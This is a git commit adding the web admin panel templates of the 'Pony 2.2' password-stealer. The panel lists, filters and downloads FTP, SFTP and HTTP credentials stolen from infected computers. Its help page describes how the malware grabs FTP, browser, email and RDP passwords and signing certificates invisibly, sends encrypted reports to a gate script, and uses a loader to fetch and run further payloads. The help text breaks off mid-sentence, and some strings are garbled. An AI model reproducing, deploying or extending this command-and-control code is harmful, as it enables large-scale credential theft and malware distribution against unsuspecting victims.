initial commit

This commit is contained in:
i2p
2026-08-27 11:22:04 -06:00
commit 4f806d9680
640 changed files with 63855 additions and 0 deletions
+27
View File
@@ -0,0 +1,27 @@
{if !isset($confirm_code)}
{assign var='confirm_code' value=''}
{/if}
{* add CSRF token *}
{if isset($no_code) && strlen($no_code)}
{assign var='no_code' value={$no_code nofilter}|cat:"&token={$token}"}
{/if}
{if isset($yes_code) && strlen($yes_code)}
{assign var='yes_code' value={$yes_code nofilter}|cat:"&token={$token}"}
{/if}
<h4 class="achtung_header">{$msg|default:"Are you sure?"}</h4>
<div style="height:40px;">
<div class="buttons">
<a href="{$yes_code|default:({$smarty.server.SCRIPT_NAME}|cat:"?token={$token}") nofilter}" class="positive" style="width:50px">
<img src="includes/design/images/accept.png" alt="" />
Yes
</a>
<a href="{$no_code|default:({$smarty.server.SCRIPT_NAME}|cat:"?token={$token}") nofilter}" class="negative" style="width:50px">
<img src="includes/design/images/cross.png" alt="" />
No
</a>
</div>
</div>
+26
View File
@@ -0,0 +1,26 @@
{if isset($parse_result) && $parse_result}
<h4 class="success_header">
The report has been successfully processed!
</h4>
New Passwords Imported <b>{$parse_new_ftp}</b>
<br /><br />
{else if isset($parse_result) && !$parse_result}
<h4 class="achtung_header">
An error occured while processing the report!
</h4><br />
{/if}
<table id="table_view_report_data" width="800" cellspacing="0">
<tr><th width="100%">Processing in debug mode</th></tr>
{foreach from=$log_list item=log_item}
<tr><td>
{if strstr($log_item.log_line, 'ERR_')}
<font style="font-weight: bold; color: #b72525">
{$log_item.log_line}
</font>
{else}
{$log_item.log_line}
{/if}
<font style="color: #bbbbbb; font-size: 10px;"> | {$log_item.log_extra}</font></td></tr>
{/foreach}
</table>
+44
View File
@@ -0,0 +1,44 @@
{if {$smarty.request.routine|default:''} == 'delete_confirm'}
{assign var='msg' value="Are you sure you want to delete the domain '"|cat:{$smarty.request.domain|default:''}|cat:"'?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=ping&amp;routine=delete&amp;domain_id="|cat:{$smarty.request.domain_id|default:''}}
{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=ping"}
{include file='confirm.tpl'}
{/if}
<div id="ping_form">
<h2>Domain Management</h2>
<div style='height:30px'>
<form name="add_frm" action="{$smarty.server.SCRIPT_NAME}" method="get">
<input type="submit" style="position:absolute;left:-10000px;top:-10000px;" />
<label class="formTxt">New</label>
<input type="text" name="domain" value="http://" class="txtBox" />
<input type="hidden" name="action" value="ping" />
<input type="hidden" name="token" value="{$token}" />
<input type="hidden" name="routine" value="add" />
<div class="buttons">
<button onclick="javascript:document.add_frm.submit();" class="positive" style="width:110px;">
<img src="includes/design/images/add.png" alt="" />
Add
</button>
</div>
</form>
</div>
{foreach from=$domain_list item=domain}
<div>
<form name="del_frm{$domain.domain_id}" action="{$smarty.server.SCRIPT_NAME}" method="get">
<input type="submit" style="position:absolute;left:-10000px;top:-10000px;" />
<p id="chk_status_{$domain.domain_id}"><span class="wait"></span></p>
<input type="text" name="domain" value="{$domain.url}" readonly="readonly" class="txtBoxGrey" />
<input type="hidden" name="token" value="{$token}" />
<input type="hidden" name="domain_id" value="{$domain.domain_id}" />
<input type="hidden" name="action" value="ping" />
<input type="hidden" name="routine" value="delete_confirm" />
<div class="buttons">
<button onclick="javascript:document.del_frm{$domain.domain_id}.submit();" class="negative" style="width:110px;">
<img src="includes/design/images/cross.png" alt="" />
Remove
</button>
</div>
</form>
</div>
{/foreach}
</div>
+24
View File
@@ -0,0 +1,24 @@
<h4 class="achtung_header">
{if $err_code == 'ERR_NOT_ENOUGH_PRIVILEGES'}
There was an error: Not enough privileges!
{elseif $err_code == 'ERR_UNK_LOG_ID'}
An error occured: Invalid login ID!
{elseif $err_code == 'ERR_UNK_REPORT_ID'}
An error occured: Invalid Report ID
{elseif $err_code == 'ERR_SRV_CONFIGURATION'}
Attention! Problem with Server Configuration
{elseif $err_code == 'ERR_WRONG_PASSWORD'}
An error occured: invalid password!
{elseif $err_code == 'ERR_PASSWORD_MISMATCH'}
There was an error: The new password and confirmation do not match!
{elseif $err_code == 'ERR_EMPTY_PASSWORD'}
An error occured: blank password!
{else}
An error has occured
{/if}
</h4><br />
{if isset($back_link)}
<a href="{$smarty.server.SCRIPT_NAME}{$back_link nofilter}">Go back and try again</a>.
<br /><br />
{/if}
+39
View File
@@ -0,0 +1,39 @@
</div>
</div>
{if $authentication_success}
<div class="push"></div>
</div>
<div class="footer">
<div id="foot">
<ul class="links">
{append var="nav_links" value="Home" index=""}
{append var="nav_links" value="FTP Passwords" index="ftp"}
{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}
{append var="nav_links" value="HTTP Passwords" index="http"}
{/if}
{if $show_other_to_users || $priv_is_admin}
{append var="nav_links" value="Other" index="other"}
{append var="nav_links" value="Statistics" index="stats"}
{/if}
{if $show_domains && ($show_domains_to_users || $priv_is_admin)}
{append var="nav_links" value="Domains" index="ping"}
{/if}
{append var="nav_links" value="Logs" index="log"}
{append var="nav_links" value="Reports" index="reports"}
{append var="nav_links" value="Management" index="admin"}
{if $show_help_to_users || $priv_is_admin}
{append var="nav_links" value="Help" index="help"}
{/if}
{append var="nav_links" value="Exit" index="exit"}
{foreach from=$nav_links key=action item=contents name=nav}
<li><a href="{$smarty.server.SCRIPT_NAME}?token={$token}{if $action != ""}&amp;action={$action}{/if}">{$contents}</a>{if !$smarty.foreach.nav.last} | {/if}</li>
{/foreach}
</ul>
</div>
</div>
{/if}
</body>
</html>
+209
View File
@@ -0,0 +1,209 @@
{assign var='no_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=ftp"}
{if {$smarty.request.routine|default:''} == 'confirm_clear_ftp'}
{assign var='msg' value="Are you sure you want to clear the FTP list?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=ftp&amp;routine=clear_ftp"}
{include file='confirm.tpl'}
{elseif {$smarty.request.routine|default:''} == 'confirm_clear_ssh'}
{assign var='msg' value="Are you sure you want to clear the SSH list (SFTP)?"}
{assign var='yes_code' value={$smarty.server.SCRIPT_NAME}|cat:"?action=ftp&amp;routine=clear_ssh"}
{include file='confirm.tpl'}
{/if}
{append var="cont_codes" value="Europe" index="EU"}
{append var="cont_codes" value="North America" index="NA"}
{append var="cont_codes" value="South America" index="SA"}
{append var="cont_codes" value="Asia" index="AS"}
{append var="cont_codes" value="Africa" index="AF"}
{append var="cont_codes" value="Oceania" index="OC"}
{append var="cont_codes" value="Antarctic" index="AN"}
{append var="cont_codes" value="Other" index="--"}
{foreach from=$cont_codes key=continent_code item=continent_name}
{if isset($smarty.request.{"country_"|cat:{$continent_code|lower}})}
{assign var="country_value_set" value="true"}
{/if}
{/foreach}
{if $smarty.request.filter_include_ftp|default:'' != '' || $smarty.request.filter_include_ssh|default:'' != '' || $smarty.request.filter_domains_include|default:'' != '' || $smarty.request.filter_domains_exclude|default:'' != '' || isset($country_value_set) || $smarty.request.filter_date_from|default:'' != '' || $smarty.request.filter_date_to|default:'' != '' || $smarty.request.filter_text|default:'' != ''}
<h4>Caution! Assisted by the regime of the diplomacy. <a href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=ftp">Stop</a>.</h4><br />
{/if}
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=ftp&amp;routine=download_ftp">Download FTP</a><a class="download_zip" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=ftp&amp;routine=download_ftp&amp;zip=1"></a> (<b>{$total_ftp_items_count}</b> {$total_ftp_items_count|items})<br />
<a class="download_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=ftp&amp;routine=download_ssh">Download SSH (SFTP)</a><a class="download_zip" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=ftp&amp;routine=download_ssh&amp;zip=1"></a> (<b>{$total_ssh_items_count}</b> {$total_ssh_items_count|items})<br />
{if $priv_can_delete}
<a class="delete_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=ftp&amp;routine=confirm_clear_ftp">Clear FTP List</a><br />
<a class="delete_nav" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=ftp&amp;routine=confirm_clear_ssh">Clear SSH List (SFTP)</a><br />
{/if}
<a class="filter_nav" href="#" onclick="javascript:$('#filter_frm_block').slideToggle();">Show Filter</a>
{if isset($filtered_items_count)}
{if $filtered_items_count > 0}
(TO <b>{$filtered_items_count}</b> {$filtered_items_count|items}, <a href="#" onclick="javascript:$('#routine').val('filter_download'); $('#filter_frm').submit(); $('#routine').val(''); return false;"><b>ñêà÷àòü</b></a><a class="download_zip" href="#" onclick="javascript:$('#routine').val('filter_download'); $('#zip').val('1'); $('#filter_frm').submit(); $('#routine').val(''); javascript:$('#zip').val(''); return false;"></a>)
{else}
(Nothing found)
{/if}
{/if}
<br />
<br />
<div id="filter_frm_block" style="display:none;width:500px">
<form id="filter_frm" name="filter_frm" action="" method="post">
<input type="submit" style="position:absolute;left:-10000px;top:-10000px;" />
<input type="hidden" name="token" value="{$token}" />
<input type="hidden" name="routine" id="routine" value="" />
<input type="hidden" name="zip" id="zip" value="" />
<div id="tabs">
<ul>
<li><a href="#tabs-1">Filter</a></li>
<li><a href="#tabs-2">Filter by Country</a></li>
<li><a href="#tabs-3">Filter by Date</a></li>
</ul>
<div id="tabs-1">
<br />
<input type="hidden" name="action" value="ftp" />
<p style="margin-left:10px;">Include only certain domains in the list: <br /><input style="width:250px;" name="filter_domains_include" value="{$smarty.request.filter_domains_include|default:''}" /> <br /><small>(Separate multiple domains by commas)</small></p><br />
<p style="margin-left:10px;">Exclude Domains <br /><input style="width:250px;" name="filter_domains_exclude" value="{$smarty.request.filter_domains_exclude|default:''}" /> <br /><small>(Separate multiple domains by commas)</small></p><br />
<p style="margin-left:10px;">Text Search <br /><input style="width:250px;" name="filter_text" value="{$smarty.request.filter_text|default:''}" /> <br /><small>(Separate multiple entries by commas)</small></p><br />
<input style="margin-left:10px;" type="checkbox" id="filter_include_ftp" name="filter_include_ftp" value="1"
{if !isset($country_value_set) || $smarty.request.filter_include_ftp|default:'' == '1'}
checked="checked"
{/if}
/><label for="filter_include_ftp"> Enable FTP</label><br />
<input style="margin-left:10px;" type="checkbox" id="filter_include_ssh" name="filter_include_ssh" value="1"
{if $smarty.request.filter_include_ssh|default:'' == '1'}
checked="checked"
{/if}
/><label for="filter_include_ssh"> Enable SFTP</label><br />
<input style="margin-left:10px;" type="checkbox" id="filter_trim_dirs" name="filter_trim_dirs" value="1"
{if $smarty.request.filter_trim_dirs|default:'' == '1'}
checked="checked"
{/if}
/><label for="filter_trim_dirs"> Exclude directories from FTP/SFTP strings</label><br />
<input style="margin-left:10px;" type="checkbox" id="filter_export_ip" name="filter_export_ip" value="1"
{if $smarty.request.filter_export_ip|default:'' == '1'}
checked="checked"
{/if}
/><label for="filter_export_ip"> Export with IP addresses</label><br />
<br />
<div class="buttons">
<button class="neutral" onclick="javascript:clear_form('#filter_frm'); $(':input', '#tabs-3').val(''); reset_drop_lists(); $('#filter_include_ftp').attr('checked', 'checked'); return false;" style="width:110px;">
<img src="includes/design/images/reset_icon.png" alt="" />
Reset
</button>
<button class="positive" onclick="javascript:document.filter_frm.submit();" style="width:130px;">
<img src="includes/design/images/find_icon.png" alt="" />
Activate
</button>
</div>
<br /><br />
</div>
<div id="tabs-2">
{foreach from=$cont_codes key=continent_code item=continent_name}
<label style="display: inline; width: 150px; float: left;">
{$continent_name}:
</label>
<div style="display: inline; float: left">
<select id="drop_{$continent_code|lower}" multiple="multiple" name="country_{$continent_code|lower}[]">
{foreach from=$geo_continents.$continent_code item=country name=traversal}
<option
{if !isset($smarty.request.{"country_"|cat:{$continent_code|lower}})}
{if !isset($country_value_set)}
{if $smarty.foreach.traversal.index == 0} selected="selected"{/if}
{/if}
{else}
{if {$country.code}|array_search:$smarty.request.{"country_"|cat:{$continent_code|lower}} !== false}
selected="selected"
{/if}
{/if}
value="{$country.code}"
>{$country.name}</option>
{/foreach}
</select>
</div>
<br />
<br />
{/foreach}
<div class="buttons">
<button class="neutral" onclick="javascript:uncheck_drop_lists(); return false;" style="width:200px;">
<img src="includes/design/images/reset_icon.png" alt="" />
Clear Country List
</button>
</div>
<br />
<br />
</div>
<div id="tabs-3">
<p style="margin-left:10px;">Begin Date:<br /><input type="text" style="width:260px" name="filter_date_from" id="datepicker_from" value="{$smarty.request.filter_date_from|default:''}" /></p><br />
<p style="margin-left:10px;">End Date:<br /><input type="text" style="width:260px" name="filter_date_to" id="datepicker_to" value="{$smarty.request.filter_date_to|default:''}" /></p><br />
</div>
</div>
</form>
<br />
</div>
{if isset($filtered_items_list)}
{assign var="ftp_list" value=$filtered_items_list}
{/if}
{if count($ftp_list)}
{if isset($filtered_items_list)}
<h4>FTP Filter Examples</h4>
<table id="table_ftp" width="800" cellspacing="0" summary="FTP filter examples">
{else}
<h4>Latest FTP addtions</h4>
<table id="table_ftp" width="800" cellspacing="0" summary="Latest FTP additions">
{/if}
<tr>
<th width="53%">URL</th>
<th width="27%">FTP</th>
<th width="20%">Time</th>
</tr>
{foreach from=$ftp_list item=ftp_item}
{assign var=img_file value="includes/design/images/modules/"|cat:$ftp_item.module|cat:".png"}
{if file_exists($img_file)}
{assign var=img_url value="<img style=\"margin-top:-2px;vertical-align:middle;\" src=\""|cat:$img_file|cat:"\" width=\"16\" height=\"16\" alt=\"\" /> "}
{else}
{assign var=img_url value=""}
{/if}
<tr>
{if strlen($ftp_item.url) < 60}
<td>
{else}
<td title="{$ftp_item.url}">
{/if}
{if $ftp_item.report_id != '' && $ftp_item.report_id != '0'}
<a class="view_report" href="{$smarty.server.SCRIPT_NAME}?token={$token}&amp;action=reports&amp;routine=view_report&amp;report_id={$ftp_item.report_id}">
{$ftp_item.url|truncate:60:'...':true:false}
</a>
{else}
{$ftp_item.url|truncate:60:'...':true:false}
{/if}
</td>
<td style="padding-bottom:2px">{$img_url nofilter}{$ftp_item.ftp_client}</td>
<td>{$ftp_item.import_time}</td>
</tr>
{/foreach}
</table><br />
{else}
{if isset($filtered_items_list)}
<h4>Filtered Items List!</h4>
{else}
<h4>FTP List is Empty!</h4>
{/if}
{/if}
+176
View File
@@ -0,0 +1,176 @@
{stopwatch}<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>{if $authentication_success}Pony - Admin Panel{else}Pony{/if}</title>
<link rel="shortcut icon" href="includes/design/images/favicon.ico" />
{if $authentication_success}
<link rel="stylesheet" type="text/css" href="includes/design/style_full.css" />
<link rel="stylesheet" type="text/css" href="includes/design/theme/jquery-ui-1.8.13.custom.css" />
<link rel="stylesheet" type="text/css" href="includes/design/theme/ui.dropdownchecklist.themeroller.css" />
<script type="text/javascript" src="includes/design/jquery-1.6.1.min.js"></script>
<script type="text/javascript" src="includes/design/jquery-ui-1.8.13.custom.min.js"></script>
<script type="text/javascript" src="includes/design/jquery.tablehover.min.js"></script>
<script type="text/javascript" src="includes/design/jquery.ui.datepicker-ru.js"></script>
<script type="text/javascript" src="includes/design/ui.dropdownchecklist.js"></script>
<script type="text/javascript" src="includes/design/jquery.ajaxq-0.0.1.js"></script>
{* Table row highlite code *}
<script type="text/javascript">
//<![CDATA[
function showMore(_class)
{
var link = $('a.local_nav'.concat(_class)),
rows = $('#hidden_rows'.concat(_class));
rows.toggle('slow', function() {
link.text( rows.css('display') === 'none' ? 'Show all' : 'Hide' );
});
}
function clear_form(_class)
{
$(':input',_class)
.not(':button, :submit, :reset, :hidden')
.val('')
.removeAttr('checked')
.removeAttr('selected');
}
var
drop_list_array = new Array('#drop_af', '#drop_as', '#drop_eu', '#drop_na', '#drop_sa', '#drop_oc', '#drop_an', '#drop_\-\-');
function reset_drop_lists()
{
for (key in drop_list_array)
{
$(drop_list_array[key]+" option").attr('selected', 'selected');
$(drop_list_array[key]).dropdownchecklist('refresh');
}
}
function uncheck_drop_lists()
{
for (key in drop_list_array)
{
$(drop_list_array[key]+" option").removeAttr('selected', '');
$(drop_list_array[key]+" option").removeAttr('checked', '');
$(drop_list_array[key]).dropdownchecklist('refresh');
}
}
$(document).ready(function()
{
$( "#datepicker_from" ).datepicker({
changeMonth: true,
changeYear: true
});
$( "#datepicker_to" ).datepicker({
changeMonth: true,
changeYear: true
});
$("#tabs").tabs( { selected: 0 } );
$( "#tabs" ).tabs({
select: function(event, ui) {
for (key in drop_list_array)
{
$(drop_list_array[key]).dropdownchecklist('close');
}
}
});
updated = false;
$( "#tabs" ).tabs({
show: function(event, ui) {
if (ui.index == 1)
{
if (updated == false)
{
updated = true;
for (key in drop_list_array)
{
$(drop_list_array[key]).dropdownchecklist({ firstItemChecksAll: true, width: 150, maxDropHeight: 500 });
}
}
}
}
});
var zebra_tables = new Array("#table_logins", "#table_domains", "#table_stats", "#table_ftp",
"#table_http", "#table_email", "#CountryStats", "#FTPClientsStats", "#BitcoinClientsStats",
{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}
"#HTTPClientsStats", "#HTTPDomainStats",
{/if}
{if $enable_email_mode && ($show_email_to_users || $priv_is_admin)}
"#EmailClientsStats",
{/if}
"#table_logs", "#table_reports", "#table_view_log", "#table_view_report", "#table_view_report_data",
"#table_user_list");
for (key in zebra_tables)
{
$(zebra_tables[key]).tableHover();
}
$('p').each(function(){
var p = $(this);
if( p.attr('id') && p.attr('id').match(/chk_status_/) ) {
$.ajaxq ("checkqueue", {
url: "{$smarty.server.SCRIPT_NAME}?token={$token}&action=ping&routine=ping&domain_id=" + p.attr('id').substr(11),
cache: false,
success: function(html)
{
p.html(html);
}
});
}
});
});
//]]>
</script>
{else}
<link rel="stylesheet" type="text/css" href="includes/design/style.css" />
{/if}
</head>
<body>
{if $authentication_success}
<div class="wrapper">
<div id="header">
<div id="top">
<ul>
{append var="nav_links" value="Home" index=""}
{append var="nav_links" value="FTP Passwords" index="ftp"}
{if $enable_http_mode && ($show_http_to_users || $priv_is_admin)}
{append var="nav_links" value="HTTP Passwords" index="http"}
{/if}
{if $show_other_to_users || $priv_is_admin}
{append var="nav_links" value="Other" index="other"}
{/if}
{append var="nav_links" value="Statistics" index="stats"}
{if $show_domains && ($show_domains_to_users || $priv_is_admin)}
{append var="nav_links" value="Domains" index="ping"}
{/if}
{append var="nav_links" value="Logs" index="log"}
{append var="nav_links" value="Reports" index="reports"}
{append var="nav_links" value="Management" index="admin"}
{if $show_help_to_users || $priv_is_admin}
{append var="nav_links" value="Help" index="help"}
{/if}
{append var="nav_links" value="Exit" index="exit"}
{foreach from=$nav_links key=action item=contents}
<li><a href="{$smarty.server.SCRIPT_NAME}?token={$token}{if $action != ""}&amp;action={$action}{/if}"{if $smarty.request.action==$action} class="hover"{/if}>{$contents}</a></li>
{/foreach}
</ul>
<div class="pony_hdr_text">Pony 2.2</div>
<div class="pony_bg"></div>
</div>
{else}
<div id="header_nobg">
{/if}
<div id="contents">
+292
View File
@@ -0,0 +1,292 @@
{if $priv_is_admin || $show_help_to_users}
<h3>Password collection system "Pony"</h3>
<div id="help">
<br />
<h4>Purpose and objectives of the project</h4>
<br />
<ul>
<li>Collection of FTP/HTTP passwords from {(count($module_names)-2)}+ Popular FTP clients and web browsers from infected computers</li>
<li>Collection of E-mail Passwords (POP3, IMAP, SMTP)</li>
<li>Collection of certificates to sign xecutable files and drivers</li>
<li>Collection of RDP passwords (Remote Desktop Connection)</li>
<li>Invisible Application for the user</li>
<li>Minimum size and working time of grabber on the infected computer</li>
</ul>
<br /><h4>General Information</h4><br />
<b>The project is divided into three separate parts:</b>
<ul style="list-style-type:decimal">
<li style="text-align:left"><div>Client "Pony.exe" - The program that you want to load on the computers, it collects and sends passwords to the server.</div></li>
<li style="text-align:left"><div>Builder (ponybuilder. exe)-a set of programs to create a build client "Pony. exe ".
The build is assembled automatically using the Masm32 compiler, which is included in the kit.</div></li>
<li style="text-align:left"><div>A set of server-side PHP Scripts-the admin panel, as well as the script-gate (gate. php) to which the passwords are sent.</div></li>
</ul><br />
<h4>A non-standard approach is used to collect passwords</h4><br />
When you run the client, Pony. exe automatically collects the passwords and data required for decryption into special container files, called "reports," which are then encrypted to the server where they are processed.
Each report can contain tens and even hundreds of passwords, as well as other auxiliary information.
<br /><br />
n fact, "Pony. exe " does not contain any decryption algorithms, but only simple functions
Read the file and registry data.
<br /><br />
All the work for decrypting passwords takes place on the WEB server. It is not an intensive operation, because
Most of the algorithms are trivial. The server spends less 10ms (0.01 sec) on the average processing
Reports with passwords.
<br /><br />
<b>Positive aspects of this approach.:</b>
<ul style="list-style-type:disc">
<li>Minimizes size of the downloaded file is "Pony.exe"</li>
<li>Minimizes running time on the infected computer, on average, does not exceed 1 second </li>
<li> If any FTP client has updated only the encryption algorithm, but stores the password files (which is typical for most popular FTP clients) there is no need to re-build and upload it, but just make the appropriate modification in the PHP script. </li><li>There is no chance to make an error in the password decryption algorithm and lose FTP, reports on the server can be
re-worked after fixing the bug</li>
</ul>
<br /><b>Negatives:</b><br />
<ul>
<li>A full-featured configured Web server is required to decrypt passwords, with some specific requirements</li>
<li>Increased traffic to the server, for this purpose the ability to pack reports</li>
</ul>
<br /><h4>Web Server Requirements</h4><br />
<ul>
<li><b>Apache/nginx</b></li>
<li><b>PHP 5.2+</b></li>
<li><b>MySQL</b></li>
<li>Required extensions for PHP
<ul style="margin-left:10px; list-style-type:none">
<li><b>zlib</b> - library for data compression / decompression using the deflate method</li>
<li><b>libxml</b> - library for fast processing of XML files</li>
<li><b>mysql</b> - extension for working with MySQL database</li>
<li><b>mhash</b> - library with hash algorithms (included in the main assemblyPHP 5.3+)</li>
<li><b>mcrypt</b> - Library with encryption algorithms</li>
<li><b>gmp</b> - mathematical library for working with large numbers</li>
<li><b>iconv, mbstring</b> - extensions for converting multibyte (UTF-8, ...) strings</li>
<li><b>gd</b> - graphic library, used to plot graphs</li>
<li><b>curl</b> - extension for working with the network</li>
<li><b>pcre</b> - library of algorithms for working with regular expressions</li>
<li><b>json</b> - library for decoding JSON strings</li>
<li><b>zip</b> - library for working with zip archives</li>
</ul>
</li>
<li>Optional extensions for PHP
<ul style="margin-left:10px; list-style-type:none">
<li><b>sqlite3</b> - is required as a class (PHP 5.3+), or as a PDO driver (PHP 5.2+), otherwise some passwords will not be decrypted</li>
</ul>
</li>
</ul>
<br />
A set of server scripts is not tied to the root folder and can be moved to any of your convenience.
In the working share must create a directory "<b>temp</b>" and give her the right to read, write and execute (chmod 777).
The name of the folder "temp" can be overridden in the settings file "config.php".
<br /><br />
Assembly example PHP:<br />
<small>Configure Command './configure' '--enable-mbstring=all' '--with-zlib' '--with-iconv' '--with-gd' '--with-curl' '--with-pcre-regex' '--with-gmp' '--with-mhash' '--with-mcrypt' '--with-mysql' '--with-libxml-dir' '--prefix=/opt/php' '--with-sqlite3' '--with-freetype-dir' '--enable-gd-native-ttf' '--with-png-dir' '--with-jpeg-dir' '--enable-zip'.
</small>
<br /><br /><h4>Server part (admin)</h4>
<br /><b>Contents of delivery:</b><br />
<ul>
<li> File <b>"config.php"</b> - contains the basic settings necessary for the correct operation of the PHP scripts admin.
Inside the file, you need to set MySQL server parameters, select a password for decryption of reports, specify
folder for working with temporary files.</li>
<li> File <b>"setup.php"</b> - ñcrypt of an unattended installation, you must run to initialize the panel
administrator, after which you can delete.
This script creates the necessary MySQL tables, sets the administrator's login and password.
Before starting <b>"setup.php"</b> you should write MySQL server parameters in a file <b>"config.php"</b>.
To repeat automatic panel configuration, you must first delete all tables with a prefix
<b>"pony_"</b> from the mysql database.</li>
<li> File <b>"gate.php"</b> - A script-gate that accepts reports with passwords from"Pony.exe".</li>
<li> File <b>"admin.php"</b> - the main control script of the admin panel.</li>
<li> Folder <b>"temp"</b> - folder for working with temporary files and Smarty templates, you need to set the permissions for reading, writing and execution (chmod 777).</li>
<li> Folder <b>"includes"</b> - set of auxiliary files.</li>
</ul>
<br /><h4>Admin functions</h4><br />
<ul>
<li><b>home</b> - general information about the current operation of the server.</li>
<li><b>FTP list</b> - here you can download or clear lists received FTP/SFTP.</li>
<li><b>HTTP List</b> - here you can download or purge lists of received HTTP / HTTPS.</li>
<li><b>Other</b> - here you can download or clear lists of received certificates, RDP, E-mail.</li>
<li><b>Statistics</b> - the current statistics for the collected data, it is necessary to take into account that cleaning the list of FTP / reports will nullify statistics.</li>
<li><b>Domains</b> - On this page, you can add backup grabber domains for on-line availability checking.</li>
<li><b>Logs</b> -Here you can see critical errors and server notifications.</li>
<li><b>Reports</b> - list of current reports with passwords.</li>
<li><b>Management</b> - server settings, and account management.</li>
<li><b>Help</b> - help file.</li>
<li><b>Exit</b> - complete the work with the admin panel.</li>
</ul>
<br /><h4>Differentiation of user rights admin</h4><br />
Users are divided into two types:
<ul style="list-style-type:decimal">
<li style="text-align:left"><div><b>Administrator (admin)</b> - can do absolutely everything: delete / add new users, change server settings (password encryption of reports), change privileges / passwords of other users, clear lists with passwords. There can be only one administrator.</div></li>
<li style="text-align:left"><div><b>User (user)</b> - depending on the privileges can either only view data (<b>user_view_only</b>), or view and clean FTP / SFTP lists / reports / logs(<b>user_all</b>). The user can change his password. The user will not see the additional functionality available only to the administrator.</div></li>
</ul>
<br /><h4>Additional Information</h4><br />
<ul>
<li>Each report received contains additional information:
<ul>
<li><b>OS</b> - version of the Windows operating system.</li>
<li><b>IP</b> - The IP address of the sender.</li>
<li><b>HWID</b> - The unique user ID does not change over time. By this ID, you can find all the reports from a specific computer.</li>
<li><b>Privileges</b> -with what rights (User / Admin) the process "Pony.exe" was started.</li>
<li><b>Architecture</b> - x86/x64 the architecture of the microprocessor on which the "Pony.exe" process was launched.</li>
<li><b>Version</b> -client version "Pony.exe".</li>
</ul>
</li>
<li>Clearing the list of reports and FTP / SFTP will reset the statistics (charts and text data).</li>
<li>The same reports with passwords to the database are not imported. If a duplicate is received, a notification will appear in the logs.</li>
<li>Importing reports with passwords through "gate.php" occurs in two phases:
<ul style="list-style-type:decimal">
<li style="text-align:left"><div>The resulting report is imported into the MySQL database. Only with successful import to the database, the gate will return a positive response to the client "Pony.exe" to prevent sending passwords to the following (backup) domains.</div></li>
<li style="text-align:left"><div>The report is processed (parsed), after which the found FTP is added to the database, and the report is written as "processed".</div></li>
</ul>
The report is processed (parsed), after which the found FTP is added to the database, and the report is written as "processed".the maximum runtime of the script is exceeded), or when parsing the script crashed with a critical error.
In any case, the report will not be lost.</li>
<li>If the system is used by several users, you need to log in under different accounts, otherwise the authorization window will pop up all the time.</li>
<li>After clearing the lists, the data in the MySQL database is not always physically deleted (especially for logs), so you need to periodically start optimizing (compressing) the tables.</li>
<li>Optimization (compression) of MySQL tables is better done when there is no heavy load on the database, i.e. client "Pony.exe" does not send active passwords.</li>
</ul>
<br /><h4>Builder "PonyBuilder.exe"</h4><br />
The task of the builder is to configure and compile the "Pony.exe" client, which must be downloaded to infected computers.<br />
<br />
<b>Contents of delivery:</b><br />
<ul>
<li>Folder <b>"masm32"</b> - Microsoft Macro Assembler compiler (MASM).</li>
<li>Folder <b>"PonySrc"</b> - source code in the MASM language of the client program (grabber) "Pony.exe".</li>
<li>Folder <b>"BuilderSrc"</b> - source code in Delphi 7 of the auxiliary program-builder"PonyBuilder.exe".</li>
<li>File <b>"PonyBuilder.exe"</b> - program-builder for the client"Pony.exe".</li>
<li>File <b>"Help.txt"</b> - help file.</li>
<li>File <b>"build.bat"</b> - The script used by the builder to compile the build from the source "PonySrc".</li>
<li>File <b>"Pony.ico"</b> - icon attached to "Pony.exe" when compiled, if the appropriate option is selected in the builder.</li>
</ul>
<br /><b>The interface is divided into 4 tabs:</b><br /><br />
<ul style="list-style-type:decimal">
<li><b><u>Builder</u></b>
<ul>
<li>
The text field <b> "The list of domains for sending passwords"</b> - Here you can register a list of gateways for sending passwords.
Each line is a separate URL, for example:<i>http://somedomain.com/dir/gate.php</i>
You can add an unlimited number of lines (URL), you can add the same URL several times.
A domain can contain information about a connection port, for example: <i>http://privatedomain.com:8080/gate.php</i>.
Protocol <i> https://</i> currently not supported.<br />
"Pony.exe" will try to connect and send a report with passwords on the list if the data is successfully delivered,
the program will immediately exit without trying to connect to the rest of the URL.
</li>
<li>Button <b>"Select icon"</b> allows you to set the icon for the compiled file, only the format is supported*.ico.</li>
<li>Button <b>"Create a build"</b> compiles the file "Pony.exe" with the specified settings.</li>
</ul>
</li>
<li><b><u>Loader</u></b>
<ul>
<li>
Simple loader (file uploader). After collecting passwords from the specified links(URL) files will be downloaded and started.
URL are set in the same way as the list of domains for sending passwords.
At the bottom of the tab, you can set the following options:
<ul>
<li> Activate the loader - enable the loader, otherwise the files will not load.</li>
<li> Do not run the same files twice - after successfully launching the downloaded file, a check value will be added to the registry
(õåø) data file, after which, when you reload, the duplicate will not be launched.</li>
</ul>
</li>
</ul>
</li>
<li><b><u>Settings</u></b>
<ul>
<li>In order to see all the settings, you need to activate the option<b>"Show Advanced Settings"</b> in the main menu.</li>
<li><b>Compress</b> - compress reports using the aPLib library, adds about 5Kb to the size of the executable file,
well packs text data before sending, highly recommended, greatly reduces traffic
to the server.</li>
<li><b>Encrypt</b> - encrypt reports with RC4 algorithm.</li>
<li><b>Encryption Password</b> - the password by which reports are encrypted, a similar password must be set in the server settings.</li>
<li><b>Save reports to disk (for debugging)</b> - when you start "Pony.exe", after the passwords have been collected, in the same folder
where the executable was launched, the file "out.bin" will be created, it is a container with passwords in the form in which it is sent
